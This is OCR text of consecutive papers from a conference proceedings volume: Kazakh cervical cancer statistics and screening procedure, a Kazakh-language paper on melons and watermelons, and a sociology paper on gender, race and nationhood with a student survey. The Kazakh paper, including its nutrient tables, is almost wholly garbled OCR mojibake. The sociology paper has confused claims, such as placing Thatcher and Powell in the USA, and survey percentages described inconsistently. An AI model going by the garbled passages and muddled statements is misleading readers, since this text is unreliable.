vaccinations are carried out as part of the guaranteed volume of medical care at the expense of
the republican budget includes routine preventive vaccinations against diseases caused by HPV
(Annex 1). According to Annex 2 of this Resolution, girls aged 11 and 11.5 years will be vaccinated.

Now, as for this pathology in our republic. CC in the structure of all malignant tumors of
both sexes of the population in 2022 took 6th place with a share of 5.51% (2021 - 4th place,
5.54%), in women - stable 2nd place - 9.7% (9.7%) [11].

The incidence rate per 100 thousand population increased from 9.4 to 9.92. In 10 regions
of the republic, the incidence rate is higher than the national average: Pavlodar - 17.2 per 100
thousand people (2021 —16.7) —the highest level, East Kazakhstan —14.3 (10.8), North Kazakhstan
—14.3 (10.2), Atyrau —13.2 (13.8), Zhetysu - 11.7, Karaganda - 11.7 (12.0), Abay - 11.1, Akmola -
11.1(11.9), Mangistau - 11.1 (9.7), Kostanay - 10.8 (10.6) regions.

Low incidence rates in Zhambyl region - 5.8 per 100 thousand population (5.7), Turkestan
region - 6.1 (5.2), Aktobe region - 8.3 (11.6), Kyzylorda region - 8.5 (8.2) areas.

CC in the structure of causes of death from malignant tumors of the population of both
sexes in 2022 rose from 9th to 8th position, with a share of 4.6% (2021 - 4.3%), mortality from CC
is stable at 3.1 per 100 thousand population (3.1).

The mortality rate from CC in 10 regions is higher than the national average: Akmola - 4.2
per 100 thousand population (2021 - 3.1) - maximum level, West Kazakhstan - 4.1 (4.8), Pavlodar
- 3.8 (5.6), Almaty — 3.7 (2.5), Zhetysu — 3.7, Atyrau — 3.4 (4.0), East Kazakhstan — 3.3 (3.8),
Karaganda - 3.2 (4.7), Kostanay - 3.2 (2.4) regions and Almaty city - 3.4 (2.9).

Below the national average mortality rate was registered in the Kyzylorda region - 1.7 (3.5)
- the best result; North Kazakhstan - 2.0 (2.6), Aktobe - 2.2 (3.0), Turkestan - 2.3 (2.2), Mangystau
- 2.8 (3.0), cities of Astana, Shymkent —and Abay region - 2.9 per 100 thousand population [11].

In 12 regions, a 100% level of morphological verification of the diagnosis is ensured. The
lowest or worst indicator for the third year in a row was recorded in the Kyzylorda region - 94.3%.
Below the national average, this figure was noted in Akmola - 98.8%, Atyrau - 98.9%, Kostanay -
98.9%, Mangistau - 97.6%, Pavlodar - 96.6% regions and Almaty city - 98.5 %.

In a number of regions, the frequency of diagnosis of stage I-Il CC was lower than the
national average (88.1%) - in Akmola - 76.2% - the worst result in the country, in Karaganda -
77.2%, Pavlodar - 81.3%, Zhetysu - 82.9%, Abay - 83.8%, Kostanay - 84.3%, Aktobe - 85.5%, West
Kazakhstan - 85.7% regions. In the Atyrau region there is a 100% result.

The proportion of stage IV CC is higher than the republican average (2.7%) in the following
regions: the worst result is in the Zhetysu region - 6.1%; next come: Karaganda - 5.1% (2021 -
5.6%), Akmola - 4.8% (2.3%), Kostanay - 4.5% (4.4%), North Kazakhstan - 3.9% (7.4%), Shymkent
city - 3.8% (5.9%), Almaty - 3.7% (5.1%), Almaty city - 3.6% (1.8%), Zhambyl - 2.9% (0.0) regions.
No advanced forms were registered in 3 regions. The lowest neglect is in the East Kazakhstan
region - 1.0% (0.7%).

Indicators of late diagnosis of this pathology, as visually accessible localization (llI-1V stages)
are higher than the national average - 11.9% (15.4% in 2021) were noted in the Akmola region -
23.8% (2021 - 26.4 %) - worst result; Karaganda - 22.8% (35.2%), Pavlodar - 18.8% (20.8%), Zhetysu
-17.1% (24.2%), Abay - 16.2% (12.8% ), Kostanay - 14.6% (15.6%), Aktobe - 14.5% (9.6%), West
Kazakhstan - 14.3% (32.4%) regions. The least neglect is in the Mangistau region - 6.0% (20.8%).

Across the country, the five-year survival rate of patients with CC registered in 2018 was
59.9% in 2022, with a decrease from the level of 2021 (67.5% for those registered in 2017), and
with a significant range in by region, from the maximum — 72.9% (2021 — 70.7%) in the North
Kazakhstan region, to the minimum — 34.9% (64.4%) in the Atyrau region [11].
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Next, regarding CC screening. CC screening is a periodic, comprehensive examination of
women of a certain age group as part of a special medical program to prevent and reduce
incidence and mortality from CC.

Type of screening - population. The purpose of screening is to identify pre-invasive diseases
of the cervix with subsequent recovery. The screening method is a cytological examination of a
smear for oncocytology from the cervix (traditional and liquid cytology) - Pap test. Interval - 1 time
in 4 years. Target group: women aged 30-70 years who are not registered in the dispensary for
CC. The expected results are a decrease in incidence and mortality from CC.

Screening steps:

1) Preparatory - formation of target groups, information support and invitation to
screening. The preparatory stage is carried out by the nurses of the primary health care
organization responsible for preventive measures and includes: annual compilation of a list of
women subject to screening in the coming year by November 15 of the current year, followed by
monthly correction; informing target groups of the female population about the need for
screening; screening invitation; ensure timely screening.

2) Screening - filling out a statistical card of a preventive medical examination (screening)
of an outpatient (form 025-08/y), a register of patients subject to cytological screening and taking
material for cytological examination from the cervix. The screening examination of the target
groups of the female population is carried out by a specially trained midwife of the primary health
care organization.

3) The final one is obtaining the results of cytology, informing the woman and developing
further management tactics, fill out accounting and reporting statistical documentation.
Responsible for the final stage of screening is the obstetrician-gynecologist of primary health care
[12].

Cytological screening of CC is a complex of organizational and medical measures aimed at
early detection of precancerous and neoplastic diseases of this localization and at reducing the
mortality of this cohort of patients. For traditional cytology, a smear containing 8-12 thousand
cells of stratified squamous epithelium (including cells of metaplastic epithelium) is considered
adequate; for liquid cytology - 5 thousand cells. For both methods, the number of cells of
endocervical epithelium and/or metaplastic epithelium (from the transformation zone) must be
at least 10 (single or in clusters). If more than 75% of the cells of the stratified squamous
epithelium are covered with erythrocytes, leukocytes, etc., then the quality of the smear is
considered unsatisfactory.

Interpretation of the results of a cytological study is carried out according to the Bethesda-
terminology cytological system:

Intraepithelial changes and malignant processes are absent (NILM). This group includes
cytological conclusions about the normal state of the epithelium, as well as the presence of various
non-neoplastic diseases. Normally, squamous epithelial cells, groups of cells of columnar
epithelium and metaplastic epithelium, a small number of leukocytes, and rod/mixed microflora
are found in preparations. In the presence of non-neoplastic processes, their nature and, if
possible, the cause are specified: atrophic changes, reactive changes associated with
inflammation, including typical regeneration. In addition, the presence of microorganisms is
indicated: Trichomonas vaginalis, fungi, morphologically corresponding to Candida spp., bacterial
vaginosis, cellular changes corresponding to the defeat of Herpes simplex virus, squamous
epithelial cells with atypia of unknown significance (ASC-US), squamous epithelial cells with atypia
of unclear significance, not excluding the presence of a high degree of intraepithelial changes
(ASC-H). Low-grade squamous intraepithelial changes (LSIL) include lesions associated with HPV
and CIN [, high-grade squamous intraepithelial changes (HSIL) include CIN II, CIN Ill, carcinoma in
situ and cases suspected of invasion, squamous cell carcinoma, cervical (glandular) epithelium

233



I Proceedings of the 9th International Scientific Conference

with atypia of unknown significance, cells of the cervical (glandular) epithelium, possibly neoplasia,
endocervical adenocarcinoma in  situ, endocervical adenocarcinoma, endometrial
adenocarcinoma, secondary adenocarcinoma, unclassified carcinoma, other malignant tumors.

There are certain features when taking material for oncocytology: firstly, the examined
woman should be informed about the exclusion of sexual intercourse, vaginal manipulations,
including douching, baths, tampons, etc. 2 days prior to sampling. Taking material for cytological
examination is carried out by the midwife of the examination room of the department of medical
examinations of the primary health care organization: the traditional method (2 glasses - with
obligatory fixation in 96% alcohol, it is preferable to use glass slides with a polished edge, which
are easily marked) or the liquid cytology method (one container with stabilizing liquid ); the code
or surname of the patient, identical to the code and surname in the form for sending material for
cytological examination, should be clearly marked on the glasses or container [12].

At the same time, when using the traditional method, the biomaterial is delivered to the
cytological laboratory as soon as possible after its collection in specialized containers for glass
slides with 96% alcohol. If there are visible visual changes in the cervix, then the material is taken
from the woman and, without waiting for the results, she is referred for an examination by an
obstetrician-gynecologist.

A cytological study is carried out in centralized cytological laboratories at oncological
institutions, where an archive of cytological preparations of patients involved in the screening
examination is formed, regardless of the result, for a period of at least 10 years with the formation
of a computer database.

What material and technical equipment is required to take material for a Pap test? It is as
follows: soap and water for washing hands, a light source for cervical examination, a gynecological
chair, a disinfected speculum and gloves, an Eyre spatula, a glass slide and a marking pen, a
container with a stabilizing solution for liquid cytology, a fixative solution (96% alcohol), a
container with warm water for lubricating and warming the vaginal mirrors, a 0.5% chlorine
solution for disinfecting gloves and instruments, or another approved for this purpose. And, of
course, the registration form itself.

For carrying out liquid cytology, you additionally need: a disposable cervix brush, a
container with a stabilizing solution for liquid cytology, and a fixing solution.

At the same time, a smear for oncocytology cannot be taken: during menstruation, earlier
than 48 hours after sexual contact or after using lubricants, vinegar or Lugol solution, tampons or
spermicides, after vaginal examination or douching, and also during the treatment of genital
infection.

The results of CC screening are as follows. In 2022, 771,282 women of the target group
aged 30 to 70 years were examined during cytological screening (in 2021 - 757,454).

During cytological screening in 2022, 392 cases of CC were identified (319 in 2021). The
detection rate increased from 0.42 to 0.51 per 1000 women examined [11].

High detection of CC during screening is ensured in Aktobe, Almaty, Atyrau (1.59 is the best
result), East Kazakhstan, Kyzylorda, Pavlodar, North Kazakhstan, Turkestan regions and Shymkent
city.

The detection rate in these regions ranges from 0.55 to 1.59 per 1000 women examined.
Compared to 2021, there is an increase in detection in 10 regions, with the exception of Akmola,
Aktobe, Zhambyl, Kostanay, Mangistau, North Kazakhstan regions and Shymkent city. The worst
result in Astana city is 0.15 per 1000 women examined.

Cytologically, cervical precancer was detected in 1.16% of those examined (2021 — 0.99%).
The detection rate of precancer below 0.6% (the planned indicator for 2022, according to the
Comprehensive Plan) was noted in Aktobe, Karaganda and Kostanay regions.

A high proportion of stage | CC (70% or more) was detected in 6 regions of the country (in
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8 in 2021): Kostanay, Mangistau (94.7% - best result), North Kazakhstan, Turkestan regions, cities
of Almaty and Astana. Low levels of early detection of CC (below 50%) were not observed in any
region.

Localized processes (stages I-Il) were identified in 99.2% of all cases of detected cancer
(96.5% in 2021). In the Akmola and Karaganda regions, cases of SS were identified not only in the
localized, but also in the widespread stages of the process. A total of 3 cases of SS were identified
in stage lll and not a single case in stage IV (in 2021 - 11 and 0, respectively) [11].

In conclusion, it can be stated that CC occupies one of the leading places among all existing
nosological forms of malignant tumors. At the same time, despite the small percentage of patients
detected at stages Il and IV of the disease, as a visually accessible localization, taking into account
a number of factors, early diagnostic indicators do not allow oncologists and gynecologists to
“sleep peacefully.” Variability, nonspecificity and veiledness of symptoms, its similarity with
various non-tumor processes, leads to neglect of the tumor process. All this requires both
oncologists and, first of all, primary health care workers and, of course, gynecologists to increase
the level of oncological alertness, inform the population about early symptoms that may indicate
this pathology or the onset of proliferative changes and carrying out high-tech diagnostic
measures and, as a result, timely treatment. Patients at risk with precancerous diseases should
undergo routine examination within the prescribed time frame. The development of screening
technologies and methods of primary prevention in the form of vaccination of adolescent girls
against HPV allows us to hope for a reduction in the incidence of this disease in the female
population.
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KAYbIH OAKbBITOAPLI HETI3IHE
OTAHbIK LLMKI3ATTAH YKACA/IFAH OHIM
TEXHO/IOMMACBIH JAMbBITY

Ecipken lN'ynmunpa Ecipkenkpisbl

T.f.K., KaybiIM.npodeccop, «K.KynarkaHoB aTbiHAafbl Ka3aK TEXHONOIMA KaHe BusHec
yHuBepcuteTi» AK, ACTaHa K.

OunxaHb6aeBa PaTma ToKTapOBHa

T.f.4., npodeccop, AAmaTbl TEXHONOTUANBIK YHUBEPCUTETI, ATMATbI K.

HapmaHgax ynapryn

MarucTp, ceHbop-nekTop, «K.KynarkaHoB aTbiHAafbl Ka3aK TEXHONOIMA }KaHe BU3Hec
yHuBepcuTeTi» AK, AcTaHa K.

YmbaHoBa Cayne XymaresnbanesHa

MarucTp, ceHbop-nekTop, «K.KynarkaHoB aTbiHAafbl Ka3aK TEXHONOrMA KaHe busHec
yHuBepcuteTi» AK, ACTaHa K.

Abstact.The article discusses the agronomic significance of melons and watermelons
cultivated in Kazakhstan, their primary growing regions, varietal characteristics, and nutritional
value. The chemical composition and biologically active compounds of melon and watermelons
are analyzed, highlighting their benefits for human health. Additionally, the importance of
producing traditional and innovative products from these crops in Kazakhstan is examined. In
particular, the article explores the nutritional products value of melon-based products and the
prospects for producing functional beverages with a high vitamin content from watermelons.
These initiatives contribute to the development of the agro-industrial complex through the deep
processing of horticultural crops.

AHOamna. byn markanaga KasakcTaHaa ecipineTiH KayblH meH Kapbbi3ablH arpapbik,
MaHbI3bl, OflAapAblH Heri3ri ecipy almaKkTapbl, CYpPbINTbIK epeKWenikTtepi XaHe TafamablK
KYH/bINbIFbl KapacTblpblnaapl. KayblH MeH Kapbbi3ablH XMMUAbLIK KYPamMbl MeH OMONOTNYbIK,
benceHai KOCbIAbICTapbl TanAaHbin, ONapAblH aAam AeHCcay/blfbiHa Nangacbl KepceTineai.
CoHbiMeH KaTap, KasakcTaHaa Oaklia AaKbligapbliHAH ASCTYPAI KaHe MHHOBAUMAbIK eHiMAep
OHAIpYAiH, MaHbI3bl TasKblaHaAbl. ATan alTKaHAa, KayblHHAH XacanaTblH TaFamMblK KYHZbIAbIFbl
KOHe Kapbbi3gaH Kofapbl A3PYMEHAiK Kypambl 6ap ¢YHKUMOHANABIK CYCblH ©HAipyaiH,
nepcnexkTMBanapbl KapacTbipbinaabl. byn wapanap 6akla AakblNaapbiH TepeH eHaey apKbi/ibl
arpOeHepPKICINTIK KeLWeHHIH, 4amyblHa biKNan eTeai.

Key words: melon, watermelon, cucurbit crops, functional beverage

Kinmmik ce30ep:kaybiH, Kapbbi3, bakla Aakblnaapsl, GyHUMOHANAbIK CYCbIH.

KayblH — KyHap/bl XaHe TafamablK, KYHZbIAbIFbl KOFapbl XKemic. KasakcTaHaa 0N aybln
WapyaLlblNblFbIHbIH, MaHbI3Abl AaKblAAapbiHbIH, 6ipi 60abIN caHanadbl, acipece enfiH OHTYCTIK
anMaKTapblHAa KeHiHeH ecipineni. KayblH ecipyre Kosannbl KAMMATTbIK Kafgannap TypKicTaH,
Kbi3blnopaa, Hambbin kaHe AnmaTbl 001bICTapbIHAA KaNbINTacKaH.
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KasaKcTaHablK KayblHAAp ilIKi HapblKTa faHa emec, coHaan-ak Pecel, Kblpfbi3CTaH,
©36eKcTaH XoHe HacKka Aa MeMeKkeTTepre aKcnopTTanaabl. Keprinikti depmepnepair, eHimaepi,
acipece a3 aWnapbiHAQ, LWeTenAik HapblKTa ofapbl cypaHbicka Me [1]. KasaKkcTaHablK
cefnekumMana ecipineTiH KayblH COPTTapbl Ofapbl KAHTTbI/IbIK, KYPFaKLLbIbIKKa TO3IMAINIK KoHe
y3aK Mep3imai caKTayfa KapamAbliblfbiMeH epeklleneHeni. Herisri cypbinTapfa MblHanap
KaTaapl:

Fynabu — }Kofapbl TOTTIANIM MEH TbifbI3 KYPbI/IbIMbIMEH TaHbIMa;

Topneaa — aklbia KabblKTbl, Y3bliHLWA NilLiHAI, WbIPbIH/AbI }KaHE XOLW MICTi COPT;

Kacaba — Tbifbl3 KabblfblHbIH apKaCbIHAA Y3aK CakTayfa *apam/abl;

KonxosHuua — epeKLie TITTININ MeH alKblH XOLW MiCiMeH epeKLleneHea.

KasaKkcTaHaa KayblH »KaHa MiCKeH Kynae TyTbiHblAaAbl, COHAaN-aK oAaH TypAi eHaenreH
eHimAep AanbiHAanaabl. ATan anTKaHaa, KayblHHAH LlyKaTTap, Tocan, KeNTipi/iIreH Kemictep KaHe
nacTypni bekmec (KaybiH 6anbl) eHaipineai [2]. byn eHim A xaHe C aspymeHaepiHe, TaFramabliK,
Ta/IlbIKTapFa »KaHe MMHepangapra 6al 6onbin Keneqi, COHAbIKTaH afaM af3achl YIWiH MaHbI3bl
buonornansik benceHai 3aTTapabiH Ko3i 606N Tabblnapl .

KaybIHHbIH XMMUANLIK Kypambl 1-kecTese KepceTinreH [3].

1-KecTe — KaybIHHbIH, XUMUANBIK Kypambl (skeyre xapamabl 6enikTiH, 100 r)

KOMNOHEeHT Menwepi
DHepreTMKanbiK KYHAbIblfbl 35 KKan
AKybI3 0,6r
MalnbIfbIK, 0,3r
Kemipcynap 7,4-8,2r1
Tafam Ta/llbIKTapbl (KneTyaTka) 0,99r
Cy 88-90r
HapymeHaep:
A gapymeHi (beTa-KapoTuH) 0,4 mr
B1 gspymeHi (TMaMuH) 0,04 mr
B2 ngspymeHi (pnbodnasmH) 0,02 mr
B3 napymeHi (PP, H1aumH) 0,3 mr
B5 A2pyMeHi (MaHTOTEH KbILLKbI/bI) 0,2 mr
B6 AopyMeHi (MUPUOOKCUH) 0,06 mr
B9 napymeHi (G0N KbiWKbIb) 6 MKr
C napymeHi (aCKOPOUH KblLIKbIbI) 20 mr
E napymeHi (Tokodpepon) 0,1 mr
MuHepangap:
Kanui (K) 118 mr
Kanbuni (Ca) 16 mr
Maruunin (Mg) 13 mr
®ocdop (P) 12 mr
HaTpuit (Na) 32 mr
Temip ((Fe) 1mr
Nog, (1) 2 MKF
LunHk ((Zn) 0,09 mr

KaybIHHbIH, XMMUAbIK, KypaMbl ©Cipy »KafaaninapbiHa KaHe CypbINTbIK epeKuenikrepiHe
H6alinaHbICTbl ©3repyi MyMKiH. OHbIH TafaMblK KoHE TexXHONOTUANbIK KacMeTTepiH eckepe
OTbIpbin, Ka3akcTaHaa KayblHHAH A3CTYPAI YATTbIK OHIM — KayblH KYPT AalbiHAay Typasbl wewlim
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Kabbinganapl. byn eHim OpTanbik A3vAana KeHiHeH TapanfaH XXaHe KbllWKbI allblTbIFaH Heri3ae
¥acanaTtblH epeKlle Taram Typi 6onbin Tabbinaabl [4].

Kapbbia pga KasaKCTaHHbIH — OHTYCTIK  ©HipnepiHAe  ecipineTiH  mMaHbi3dbl  aybln
lWapyalblblfbl AaKblNAAPbIHbIH, Oipi 60nbin caHanadbl. OHbIH HEri3ri eHAIPICTIK aiMaKTapblHa
MbIHanap KaTtagpl: TypkicTaH obnbickl — KasakcTaHaarbl eH ipi Kapbbi3 eHAipyLli eHip, acipece
Wapaapa amarbl Kapbbi3 ecipyae »KeTeKuwi opbiH anaapl; ambbin obabickl — Kapbbi3 ecipy
HeriziHeH cyapmaibl eriHWifik AamblFaH aydaHdapia WofbipnaHfaH; Kbisbliopaa obabichl —
epeKkwe KNMMATTbIK KafaannapblHbiH apKACcbiHAA TITTI XKaHE KOoFapbl canasbl Kapbbl3 COPTTAPbIH
ecipyre Kosannbl; AnmaTbl 06/bickl — Kapbbl3 ecipy EHbeKLwiKa3ak, KaHe Yifblp aygaHaapbiHAa
KeHiHeH TapanfaH.

KasaKkcTtaHaa Kapbbi3ablH OipHelle cypbinTapbl KeHiHeH ecipineai, onapabiH iwiHae:
«YapnctoH [per» — Kofapbl OHIMAININIMEH KaHe aypynapFa Te3iMAiNiriMmeH epeKklleneHeTiH CopT;
«KbI3bl/1 TOTTI» — »KOFapbl KAHTTbINbIFbIMEH JHE »KaKCbl TacbiManaaHy KabineTimeH TaHbiMan,
«®Papao» — caKTay canacbl }Xofapbl epTe niceTiH copT; «[1poarocep» — ipi XKEMICTi KaHe KOoFapbl
eHiMmAinirimeH epeklieneHeTiH cypbinTapabiH, Oipi. KasakcTaHHbIH KOJalabl arpoOKAMMATTbIK
ardannapbl 6yn BaKlWa AaKbINAAPbIHbIH, KEH Kenemae ecipinyiHe »KaHe ofapbl canaibl eHim
anyfa MyMKiHZiK bepeai. [5, 6].

Kapbbi3ablH KypaMblHAAFbl HEri3ri KOMMNOHEHTTEp 2-KecTede, MWHepanabl 3atrap 3-
KecTeZe XaHe ae aapymeHaep 4-kectene bepinreH [7, 8].

2 — Kecte — Kapbbi3abiH, KYpambiHAafbl HEri3ri KOMMNOHEHTTEP (Keyre skapamabl O6iKTiH,

1007T)
KomnoHeTTep aTaybl Menuwepi
Cy 90-92%
Kemipcynap 6-9% (HerisiHeH MOHOCaxapuaTep: rOKo3a
KoHe PppyKTO3a)
AKybI3 0,6-0,7%
MalnbIfbIK, 0,1%
Tafam Ta/llbIKTapbl (KNeTyaTka) 0,4%

Kap6bbl3 KypamblHAaFbl HEri3ri buonornsansik 6enceHai 3atrap:
e OpraHMKasblK KblWKbI/T — a/Ma KbILLKbI/bl, TMMOH KbILLKbI/bl
o [lekTMHAEP
e AHTOUMaHAap (eHimre Kbi3bla TyCTi bepes;)
e JIMKOMUH (KaTTbl aHTMOKCUAAHT)
3- kecTe- Kapbbi3abiH KypamMbiHAafbl MUHepanabl 3attap (100 r-fa mr):

MuHepanabl 3aTTap/blH, aTaybl Menwepi
Kanui (K) 110-150
HaTtpui (Na) 16
Kanbuni (Ca) 14
Maruunin (Mg) 10-15
®ocdop (P) 7
Temip (Fe) 1,0

239



Proceedings of the 9th International Scientific Conference

4- kecte — lapymeHgep (100 r-ra mr):

HapymeHaepaiH, ataybl Menuwepi

C oapymeHi 7-10

A nspymeHi (B-KapoTuH) 0,1-0,4
B TOObIHbIH, A2 PYMEHI

B1 (TmamuH) 0,04
B2 (pmubodnasuH) 0,06
B3 (HMaumH) 0,2
B5 (NaHTOTEH KbILLKbIbI) 0,22
B6 (NMMpmnaoKCKH) 0,09
B9 (donmit KbILLKbINbI) 0,01

Kectenepae KepceTinreH ManiMmeTTepre CalKec, KapObi3dblH, XUMUALIK — Kypambl
O2pyMeHaep MeH MUHepanabl 3atTapFa Han. OHbIH KypamblHAaFbl 6uonornsanbik benceHi
KOCbINIbICTAP aJlaM af3acbl YLWiH MaHbI3abl PU3MONOTMANBLIK Kbi3MeTTep aTkapadbl. CoHbIMeH
KaTap, Kapbbi3aplH, Wenai 6acy KacueTi MeH CepriTylli acepi OHbl a3 MesrifliHae TYTbiHyFa
Konamnol eteqi. Ocbl  ¢dakTOpnapAbl eckepe oTbipbin, KasaKkcTaHaa ecipineTiH  bOakuwa
NaKblNAAPbIHAH OFapbl A2PYMEH/IK KypaMbl 6ap GYyHKLMOHANABIK CYCblIH OHAIPY Typasbl LWeLlim
KabblnaaHapl. byn cycblH afam afF3acbiH KAXKeTTi AapyMeHAep MeH MUHepanJapMeH KaMTamachI3
eTin, meTabo/IM3M NPOUECTEPIH KaKcapTyFa biknan eTyi MyMKiH. COHbIMEH KaTap, OHbIH, @HAipici
KasakcTaHaa ecipineTiH baKlla AakblA4apbliHbliH, arpOSHEPKICINTIK a1eyeTiH apTTbipyFa MaHe
ONapAblH TEPEH BHALNYIH AaMbITyFa MYMKIHAIK Bepes;.
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Sociology of gender, race, and nationality
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Entering the national collective is an essential component of the further development of the
national identity, and the identity of the personality, where a particularly big problem arises if a
change occurs in the national, religious identity. The question arises what if one identity turns out
to be totally contradictory, it grows into the conditions of the opposite national culture. Nira Yuval
Davis cites the example of Arab, who grew up in the Jewish community, who was an adaptive child,
and only after seeing the documentation, only when he was growing up, he saw the data about
his origins. He sought to acquire Kuwait citizenship, which was impossible, because the laws were
so strict that the biological mother and surrogate mother had to be the same religious traditions
(Nira Yuval Davis 2002: 44). Whether the rapid development of the genetic industry, the
advancement of technology and technology makes such laws absurd is one of the issues on which
it wants to respond by focusing on Malthusian and eugenic discourses. The first principle of
building a national discourse is the belief in the potential of supporting the increase in the country's
nationality. An example of this is the rate of decline in birth rates in Japan due to the conditions of
children's lives, which has led to the need to deliver monetary rewards for firstborn children in
order to become fertile. In Australia, the population, who settled in, tied up for increased fertility,
where their country and workplace were insured. The relationship between Palestine and the
Israelis also caused the need for increased reproduction of the nation, due to land ownership.
Similar examples are found in Slovenia, Northern Ireland (Nira Yuval Davis 2002: 46). The higher
the birth rate of national minorities in some countries, such as Bulgaria, also required the need to
strengthen national identity, and the same case was recorded by America at the beginning of the
twentieth century when Roosevelt condemned the sterilisation of women by linking the act to the
suicide of the nation (Nira Yuval Davis 2002: 46) .

Key terms: Malthusian, eugenic, ethnicity, race, gender

Introduction

The most radical and the most rigorous procedure for forcing Jews not to carry out abortions
was to compel to watch the murders of children and women in detention camps. The most
legitimate possible concept of the need for the reproduction of the nation was achieved in Nazi
Germany, where Hitler's main goal is an ideological explanation of the need for children to be born
pure, blue, Aryan blood, but exclusively with representatives of pure Aryan blood as a chosen
nation. On Hitler's ideology, | explored more explicitly in the work of Fromm. It is necessary to
distinguish between the first approach, the eugenic discourse and the Malthusian discourse.
Eugenic discourse, as in the case of the Aryan race, is focused on the biological value, in the quality
of the genetic material, and not on the number of nations (Yuval, Davis 2002: 47). The Aryans
forced one to sterilise, others to reproduce in order to strengthen the nation's genetic potential. It
is important to emphasise and eliminate elemental delusion, that quality relates only to the vitality
and physical health of the organism, in this way the concept of quality includes the customs and
traditions of a particular nation. An example of this was promoted by Thatcher with Powell in the
USA, fearing that immigrants would swim America, a new racism concept emerged, where there is
a difference in the interweaving of culture and tradition.
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According to Thompson and Armato (2012:217), sociologists Patricia Hill Collins, the author of
Black Feminist Thought: Knowledge, Consciousness and Politics of the Empowerment, writes that
“African American Women were historically presented in “controlling images” —in narrow range of
roles in films rotted in sexist, racist and class narratives”. In Singapore, the birth of children with
the educated population structure was encouraged, and Davis cites an example of Kansas, and
then Australia in a similar analogy (Yuval, Davis 2002: 48-49). The second conception advocates
the primacy of Malthusianism. Thomas Malthus, an English priest who spoke about the rapid
growth of the population, highlighting the discrepancy between population growth whose
geometric growth is growing, while food needs arise arithmetically, which means that arithmetic
progression can be conditioned by increased poverty, but also the lack of elementary living space,
which results in overpopulation. According to some authors, this theory is too apocalyptic because
there are natural reasons for preventing population growth, and on the other hand, nature in some
parts of the country is so fruitful that food hyper production occurs, so it is possible to make even
distribution through the projects. The Malthusian concept was supported by Paul Ehrlich, who in
his work The Population Bomb lists the same statistics, countries such as China and America, Africa
and third world countries. In this respect, China made a significant effort in introducing ban on
marriages, forced sterilisation, abortion, in order to provide better quality of life for the population,
and in the United States, Reagan invested S 3 billion to combat displacement (Nira Yuval Davis 2002
: 50-51). The Malthusian concept nevertheless realised its own profit goal and warned that
changes in population growth should be controlled. Therefore, it is clear why important women
are, however, in social traditional contexts, the woman's vastness depends on her reproduction of
the nation, and on the fact that she has given birth to sons for the state, which in recent times is a
concept that gradually overcomes strengthened by legislative legislation. Simply stated, if women
are biological representatives of reproductive behaviour, whose only function is to reproduce sons,
what happens if this function is not able to achieve, are materially or biologically disabled for it,
whether they are fewer valuable citizens, and what about the children of women who, as a national
team, received the children of opposing soldiers. A large number of dilemmas, which the
intersection of the nation and the genus carries with them and the biggest burden in all this, are
carried by women.

Il.) Gender dimension of nation and race

Nira Yuval Davis in her book Gender and Nations emphasises the dual nature of nature, on the
one hand identity and the affiliation of men and women to the collectivity is the same, and on the
other hand, the rules that are specific exclusively apply to women, who is discriminatory and what
needs to be changed legally. Culture is not homogeneous, but a heterogeneous principle, so
culture should treat equal rights that are attributed to everyone, ethnic minorities, and the
majority population. It is important that the attitude and view of women change in a way that
women become equal and equal citizens who will have the right to choose independently when
they are born. These two perspectives focus on pointing out the contribution of feminist authors
to the discourse of biologist in sociology, and society in general. When retelling her personal
feelings of being black bell hooks (1996:155-156) writes on relations in between black and whites
in the school:

“Some of us are chosen. We are allowed to sit in the classes with the White students. We are
told that we are smart. We are good servants who will be looked to. .... Although black and white
attend the same school, blacks sit with blacks, white sit with whites. In the cafeteria there is no
racial mixing. When hands reach out to touch across these boundaries' whites protest, black
protest as well. School is place where we came face to face with racism.”

Left liberal Black Women’s club, were important in organisation of women suffrage, and after
1890-ties this clubs from different cities formed National Association of Coloured Women(NACW),
with over hundred local women’s clubs.( Archer Mann 2012: 47). Hundreds of thousands of blacks
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migrated from rural south to the more developed North, and Ida Wells Barnett, famous sociologist,
called “ Jane Addams among the Negroes” , helped migrants and formed settlement house for
them(Archer Mann 2012: 48). Lydia Sklevicky (1996: 79) dealt with the problem of the
representation of the body of women and the discourse of gender and nation on the territory of
the Balkans, emphasising the importance of the Antifascist front of women in the aim of radical
emancipation of women in general, in the form of a civil feminist movement developed according
to the principle of "philanthropic feudalism ", and the emergence of women's organisations leads
to the" socialisation of women's roles (care for others, helpers, and careers of vulnerable,
guardians and transmitters of national identities) "towards active involvement in the public and
political sphere.
I1l.) Empirical Investigation on theme Race, and racial emotions

This survey is conducted among the MA students at Faculty of Political Sciences Sarajevo, in
the period of October to November 2017, during the 2017/2018 academic Year.

Sample of the survey involves following information (Gender, Age, and Race):

[.)Gender

14-

121

101
gt

O MALES

617 B FEMALES
41
21
0 " . " .

STUDENTS

66% of the students were males, and 34% of the students were females.

I.) Age

8-

71

6t

5/ @ 20

]

4 O ;
34 023
2

14

0+ . . . .

The age of the students is from 20 to 23, since they are mainly at first year of MA studies.
More than half of the students are 21-22 years old.
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[ll) Race

20
181
16
14 O BLACK
121
107

B WHITE

O UNDEFINED

oON B~ O

Inside the sample, the students were mostly whites (90%), with only one black student, and
one that did not want to give an answer to that question. Probably it is somebody that was of Roma
people, origin.

Question 1.) When thinking of racial differences, what kind of the emotions you feel?

12
10
8- O EXSTREMELY
POSITIVE
6- B EKSTREMELY
NEGATIVE
OUNDETERMINED
4
2
0

More than 52% students do feel extremely positive emotions when they think on racial
differences. Around 10% of students feel extremely negative emotions towards the racial
differences, and the rest of them, around 38% of students remained undetermined or did not want
to give response to the question.

Question 2.) Would you rather hang out with people of the same skin colour than those of other
skin colour?
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16

14

12

10

O YES
81 m NO
O UNDEFINED

More than 71% of the students stated they did not want to rather hang out with people of the
same skin colour; around 15% would not like to hang out with people of other skin colour. The rest
of them did not answer to the question.

Question 3). Do people of other skin colour have the right to racial pride, happiness, empathy,
comfort, solidarity and satisfaction?

167

141

121

101

@ YES
8- m NO
0O NO RESPONSE

2+

0

76% of the examinees think that people of other skin colour have the right to racial pride,
happiness, empathy, comfort, solidarity and satisfaction while as 19% even think that they do not
have the right to that. Around 5% of the examinees did not respond.

Question 4). Do you think that the position of Black women / Chinese / Latino / Indian is more
difficult than the situation of white women in the world today?
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147

12

10

DO YES
B NO

The position of Black women / Chinese / Latino / Indian is more difficult than the situation of
white women in the world today thinks 66% of the examinees, while as 34% of them do not think
sO.

Question 5) Do you think that the situation of some white women is more difficult than the position
of Negro / Indians / Latino / Chinese?

OYES
B NO

The situation of some white women is not more difficult than the position of Negro / Indians /
